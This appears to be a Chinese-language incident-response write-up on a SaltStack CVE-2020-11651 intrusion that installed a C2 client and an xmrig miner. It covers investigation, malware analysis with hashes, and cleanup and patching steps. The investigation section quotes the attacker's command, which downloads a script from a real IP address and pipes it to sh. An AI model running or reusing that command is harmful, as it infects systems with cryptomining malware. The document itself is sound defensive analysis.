描述
SaltStack
是一套C/S
架構的運維工具,服務端口默認為4505
/4506
,兩個端口如果對外網開放危害非常大,黑客利用SaltStack
的遠程命令執行漏洞CVE-2020-11651
可以直接繞過Salt-Master
的認證機制,調用相關函數向Salt-Minion
下發指令執行系統命令,最終導致挖礦。
現象
受害Salt-Minion
機器上存在挖礦進程salt-minions
。
tmp
目錄下存在可疑二進制文件:
salt-store
salt-minions
排查
- 確定所有
salt-master
機器列表; - 查看當天
salt-master
的日志文件/var/log/salt/minion
,是否存在可疑命令執行,篩選cmdmod
:
- 找到可疑的命令執行內容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
- 確認
SaltStack
版本,是否存在漏洞CVE-2020-11651
。
樣本分析
共三個樣本:
文件名 | MD5 |
---|---|
sa.sh | 204780df7dd946401d6e545a130689fb |
salt-store | 8ec3385e20d6d9a88bc95831783beaeb |
salt-minions | a28ded80d7ab5c69d6ccde4602eef861 |
sa.sh
這是黑客原始下載執行的腳本文件,salt-store
從這里下載下載的。
該腳本執行后首先進行一些系統設置:關閉防火牆、設置ulimit、關閉防火牆、關閉watchdog告警,並且將系統syslog日志刪除:
然后檢測服務器上是否安裝安騎士和雲鏡服務,有則將進程停止並下載對應的卸載腳本進行卸載操作:
之后通過netstat
篩選服務器開啟的端口和連接,將對應進程全部停止:
然后通過ps
、pkill
、pgrep
、killall
篩選進程名和參數,將其對應的進程殺掉,並且還會清理cpu資源占用超過10%的進程,保證有更多的硬件資源可以利用:
之后會清理/tmp
、/etc/
下其他挖礦進程的二進制文件:
該腳本還會清理docker
運行的挖礦程序:
腳本最后會從遠程下載惡意二進制文件salt-store
到/tmp
或/var/tmp
下:
download2
函數中會從bitbucket
下載惡意二進制文件,如果失敗會調用download3
函數從217.12.210.192
下載:
下載之后,將包含以下字段的計划任務刪除,這一步可以將其他挖礦和一些HIDS服務的守護任務刪掉:
salt-store
該文件是C2
客戶端,從控制端接收指令執行。
運行后該程序會釋放礦機文件salt-minions
到/tmp/
下:
salt-store
運行期間會和以下url
進行http
交互:
對該文件靜態分析后,發現該程序具有如下功能,包括運行礦機、執行遠端指令、端口掃描等:
從樣本分析結果看,可以判定這是一個命令控制系統(C2)的客戶端,程序運行之后主機會在遠端上線,黑客可以登錄遠端給客戶機下發指令啟動挖礦程序。
salt-minions
由salt-store
運行時釋放。
該文件有明顯的xmrig
特征:
所以該文件是一個xmrig
的礦機。
清理恢復
清理步驟
- 停止惡意進程:
kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
- 刪除惡意文件:
rm -rf /tmp/salt-* /var/tmp/salt-*
整改恢復
- 升級
SaltStack
到最新版本,修補CVE-2020-11651
漏洞,升級前建議做好快照備份措施,安全版本下載地址參考:https://repo.saltstack.com; - 設置
SaltStack
為自動更新,及時獲取相應補丁; - 將
Salt Master
默認監聽端口(默認4505
和4506
)設置為禁止對公網開放,或僅對可信對象開放,避免被黑客利用;